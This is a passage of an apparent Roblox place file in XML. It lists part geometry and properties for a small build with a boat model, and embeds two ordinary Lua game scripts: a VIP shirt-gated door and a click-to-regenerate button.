				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>57</X>
					<Y>13.2000008</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX940">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-33.5</X>
					<Y>20.6000004</Y>
					<Z>88</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>57</X>
					<Y>1.20000005</Y>
					<Z>30</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX941">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-7.0999999</X>
					<Y>13.5000019</Y>
					<Z>102.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">3</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.200000003</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>0.200000003</X>
					<Y>12.999999</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX942">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<ProtectedString name="Source">print (&quot;VIP T-Shirt Door Script Loaded&quot;)

-- list of account names allowed to go through the door.
permission = { &quot;&quot; } -- This is how many people can still get through, so u don&apos;t have to change shirts. You can also have another friend here.

-- TextureId of the VIP shirt.
texture = &quot;http://www.roblox.com/asset/?id=52761663&quot; -- Go to the wiki below this script to find out how to change the shirt. And paste the link in between the &quot;&quot; marks.

function checkOkToLetIn(name) 
	for i = 1,#permission do 
		-- convert strings to all upper case, otherwise we will let in 
		-- &quot;Username&quot; but not &quot;username&quot; or &quot;uSERNAME&quot; 
		if (string.upper(name) == string.upper(permission[i])) then return true end 
	end 
	return false 
end 

local Door = script.Parent

function onTouched(hit) 
	print(&quot;Door Hit&quot;) 
	local human = hit.Parent:findFirstChild(&quot;Humanoid&quot;) 
	if (human ~= nil ) then 
		if human.Parent.Torso.roblox.Texture == texture then --the shirt 
			Door.Transparency = 0.7 
			Door.CanCollide = false 
			wait(4) -- this is how long the door is open 
			Door.CanCollide = true 
			Door.Transparency = 0 
			-- a human has touched this door! 
			print(&quot;Human touched door&quot;) 
			-- test the human&apos;s name against the permission list 
		elseif (checkOkToLetIn(human.Parent.Name)) then 
			print(&quot;Human passed test&quot;) 
			Door.Transparency = 0.7
			Door.CanCollide = false 
			wait(4) -- this is how long the door is open
			Door.CanCollide = true 
			Door.Transparency = 0 
		else human.Health = 0 -- delete this line of you want a non-killing VIP door 
		end 
	end 
end 

script.Parent.Touched:connect(onTouched)

</ProtectedString>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX943">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">5</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=53613873</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX944">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">2</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=53613873</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX945">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-40</X>
					<Y>13.4000025</Y>
					<Z>102</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>44</X>
					<Y>13.2000008</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX946">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-33.5</X>
					<Y>3.79999995</Y>
					<Z>88</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>57</X>
					<Y>6</Y>
					<Z>30</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX947">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-11.5</X>
					<Y>3.79999948</Y>
					<Z>111.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
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					<X>2</X>
					<Y>62</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX968">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">107</int>
				<CoordinateFrame name="CFrame">
					<X>-100</X>
					<Y>0.600000024</Y>
					<Z>136.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Endless Ocean</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>278</X>
					<Y>0.400000006</Y>
					<Z>281</Z>
				</Vector3>
			</Properties>
			<Item class="SpecialMesh" referent="RBX969">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<Content name="MeshId"><null></null></Content>
					<token name="MeshType">6</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>10000</X>
						<Y>1</Y>
						<Z>10000</Z>
					</Vector3>
					<Content name="TextureId"><null></null></Content>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
		</Item>
		<Item class="TrussPart" referent="RBX970">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1001</int>
				<CoordinateFrame name="CFrame">
					<X>-116</X>
					<Y>58.6000023</Y>
					<Z>139</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0.800000012</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<Vector3 name="size">
					<X>2</X>
					<Y>62</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX971">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-113</X>
					<Y>65.5999985</Y>
					<Z>134</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>16</X>
					<Y>14.4000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX972">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-113</X>
					<Y>50</Y>
					<Z>134</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>16</X>
					<Y>14.4000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX973">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-113</X>
					<Y>81.2000046</Y>
					<Z>134</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>16</X>
					<Y>14.4000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX974">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Model" referent="RBX975">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX976">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">104</int>
						<CoordinateFrame name="CFrame">
							<X>-212</X>
							<Y>7.80000019</Y>
							<Z>125</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Button1</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>0.400000006</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="ClickDetector" referent="RBX977">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="MaxActivationDistance">100</float>
							<string name="Name">ClickDetector</string>
						</Properties>
					</Item>
					<Item class="Fire" referent="RBX978">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294948864</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX979">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">regen</string>
							<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
						</Properties>
					</Item>
					<Item class="ForceField" referent="RBX980">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">ForceField</string>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX981">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">NEAF Big boat</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX982">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-168.5</X>
							<Y>12.0000029</Y>
							<Z>96.5</Z>
							<R00>-1</R00>
							<R01>2.47970338e-008</R01>
							<R02>-6.14892768e-016</R02>
							<R10>-2.47970338e-008</R10>
							<R11>1</R11>
							<R12>-7.43910888e-008</R12>
							<R20>-6.14892768e-016</R20>
							<R21>7.43910888e-008</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
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						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
